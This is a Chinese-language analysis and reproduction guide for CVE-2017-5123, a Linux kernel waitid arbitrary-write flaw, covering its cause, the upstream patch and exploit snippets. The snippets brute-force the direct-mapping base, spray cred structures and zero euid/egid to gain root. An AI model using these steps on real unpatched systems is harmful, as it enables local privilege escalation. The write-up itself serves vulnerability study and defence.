CVE-2017-5123 waitid 漏洞分析及复现
字数 1422 2025-08-27 12:33:31

CVE-2017-5123 waitid 漏洞分析与利用指南

漏洞概述

CVE-2017-5123 是 Linux 内核中的一个权限提升漏洞,影响 Linux 内核版本 v4.13 到 v4.14-rc5。该漏洞源于 waitid 系统调用在向用户空间写入数据时未对目标地址进行合法性检查,导致攻击者可以向内核空间任意地址写入数据。

漏洞背景

waitid 系统调用

waitid 是 Linux 中的一个系统调用,用于获取子进程状态变化信息。其原型如下:

int waitid(idtype_t idtype, id_t id, siginfo_t *infop, int options);

参数说明:

  • idtype:指定等待的子进程类型(P_PID、P_PGID、P_ALL)
  • id:等待的子进程 PID
  • infop:存储子进程相关信息的 siginfo_t 结构体指针
  • options:指定获取的子进程状态类型

siginfo_t 结构体定义如下:

typedef struct {
    int si_signo;
    int si_code;
    union sigval si_value;
    int si_errno;
    pid_t si_pid;
    uid_t si_uid;
    void *si_addr;
    int si_status;
    int si_band;
} siginfo_t;

漏洞成因

用户空间与内核空间数据传递

正常情况下,内核与用户空间数据传递应使用:

  • put_user()/get_user()
  • copy_from_user()/copy_to_user()

这些函数会:

  1. 检查地址合法性
  2. 处理 SMEP/SMAP 保护

从内核 4.13 版本开始,waitid 使用 unsafe_put_user() 宏来优化性能,避免多次检查/开关保护的开销。

关键问题

waitid 实现中:

  1. 使用了 user_access_begin()user_access_end() 来开关 SMAP 保护
  2. 缺少了 access_ok() 检查
  3. 导致可以传入内核空间地址并写入数据

漏洞代码片段:

SYSCALL_DEFINE5(waitid, ...) {
    // ...
    if (!infop)
        return err;
        
    user_access_begin();
    unsafe_put_user(signo, &infop->si_signo, Efault);  // 可写入内核地址
    unsafe_put_user(0, &infop->si_errno, Efault);
    // ...
    user_access_end();
    // ...
}

漏洞利用

利用思路

  1. 通过 unsafe_put_user(0, &infop->si_errno, Efault) 可以向任意地址写入 0
  2. 目标是修改当前进程的 cred 结构体中的 euid 为 0
  3. 需要解决的关键问题:获取 cred 结构体地址

利用步骤

1. 获取内核线性映射区基址

64位 Linux 的虚拟内存布局中包含"物理地址直接映射区"(direct mapping area),其特点是:

  • 线性地址到物理地址的映射是连续的
  • kmalloc 分配的内存位于此区域
  • 起始地址称为 page_offset_base(未开启 KASLR 时为 0xffff888000000000)

爆破方法:

size_t page_offset_base = 0xffff888000000000;
while (1) {
    int pid = fork();
    if (pid == 0) exit(-1);
    retval = waitid(P_PID, pid, page_offset_base, WEXITED);
    if (retval >= 0) break;  // 找到有效地址
    page_offset_base += 0x10000000;
}

2. 定位 cred 结构体

通过实验发现:

  • cred 结构体通常位于 page_offset_base + 0x10000000 之后
  • page_offset_base + 0x50000000 开始出现概率较高

3. 完整利用流程

  1. 喷射大量 cred 结构体(使用 clone 创建子进程)
  2. 从预测位置开始遍历写 0
  3. 检查是否成功修改了某个 credeuid

示例代码片段:

// 喷射 cred
for (int i = 0; i < 2000; i++) {
    void *child_stack = malloc(0x1000);
    clone(child_process, child_stack, CLONE_VM|CLONE_FS|CLONE_FILES, NULL);
}

// 攻击:遍历写0
for (size_t i = 0, cur_attack_addr = page_offset_base + 0x6f500000; ; i++) {
    if (i > 23) { i = 0; cur_attack_addr += 0x1000; }
    waitid(P_ALL, 0, cur_attack_addr + 4 + i*176, WNOHANG);  // 写 euid
    waitid(P_ALL, 0, cur_attack_addr + 20 + i*176, WNOHANG); // 写 egid
}

漏洞修复

修复方法是在 waitid 中添加 access_ok() 检查:

diff --git a/kernel/exit.c b/kernel/exit.c
index f2cd53e..cf28528 100644
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -1610,6 +1610,9 @@ SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *, infop,
     if (!infop)
         return err;
 
+    if (!access_ok(VERIFY_WRITE, infop, sizeof(*infop)))
+        goto Efault;
+
     user_access_begin();
     unsafe_put_user(signo, &infop->si_signo, Efault);
     unsafe_put_user(0, &infop->si_errno, Efault);

总结

CVE-2017-5123 是一个典型的内核空间任意地址写入漏洞,其特点包括:

  1. 利用条件苛刻,需要精确预测 cred 结构体位置
  2. 成功率不高,容易导致内核崩溃
  3. 影响范围有限(仅特定内核版本)
  4. 修复简单,只需添加地址检查

该漏洞展示了内核开发中安全机制完整性的重要性,即使是性能优化也不能牺牲基本的安全检查。

CVE-2017-5123 waitid 漏洞分析与利用指南 漏洞概述 CVE-2017-5123 是 Linux 内核中的一个权限提升漏洞,影响 Linux 内核版本 v4.13 到 v4.14-rc5。该漏洞源于 waitid 系统调用在向用户空间写入数据时未对目标地址进行合法性检查,导致攻击者可以向内核空间任意地址写入数据。 漏洞背景 waitid 系统调用 waitid 是 Linux 中的一个系统调用,用于获取子进程状态变化信息。其原型如下: 参数说明: idtype :指定等待的子进程类型(P_ PID、P_ PGID、P_ ALL) id :等待的子进程 PID infop :存储子进程相关信息的 siginfo_t 结构体指针 options :指定获取的子进程状态类型 siginfo_t 结构体定义如下: 漏洞成因 用户空间与内核空间数据传递 正常情况下,内核与用户空间数据传递应使用: put_user() / get_user() copy_from_user() / copy_to_user() 这些函数会: 检查地址合法性 处理 SMEP/SMAP 保护 从内核 4.13 版本开始, waitid 使用 unsafe_put_user() 宏来优化性能,避免多次检查/开关保护的开销。 关键问题 waitid 实现中: 使用了 user_access_begin() 和 user_access_end() 来开关 SMAP 保护 但 缺少了 access_ok() 检查 导致可以传入内核空间地址并写入数据 漏洞代码片段: 漏洞利用 利用思路 通过 unsafe_put_user(0, &infop->si_errno, Efault) 可以向任意地址写入 0 目标是修改当前进程的 cred 结构体中的 euid 为 0 需要解决的关键问题:获取 cred 结构体地址 利用步骤 1. 获取内核线性映射区基址 64位 Linux 的虚拟内存布局中包含"物理地址直接映射区"(direct mapping area),其特点是: 线性地址到物理地址的映射是连续的 kmalloc 分配的内存位于此区域 起始地址称为 page_offset_base (未开启 KASLR 时为 0xffff888000000000) 爆破方法: 2. 定位 cred 结构体 通过实验发现: cred 结构体通常位于 page_offset_base + 0x10000000 之后 从 page_offset_base + 0x50000000 开始出现概率较高 3. 完整利用流程 喷射大量 cred 结构体(使用 clone 创建子进程) 从预测位置开始遍历写 0 检查是否成功修改了某个 cred 的 euid 示例代码片段: 漏洞修复 修复方法是在 waitid 中添加 access_ok() 检查: 总结 CVE-2017-5123 是一个典型的内核空间任意地址写入漏洞,其特点包括: 利用条件苛刻,需要精确预测 cred 结构体位置 成功率不高,容易导致内核崩溃 影响范围有限(仅特定内核版本) 修复简单,只需添加地址检查 该漏洞展示了内核开发中安全机制完整性的重要性,即使是性能优化也不能牺牲基本的安全检查。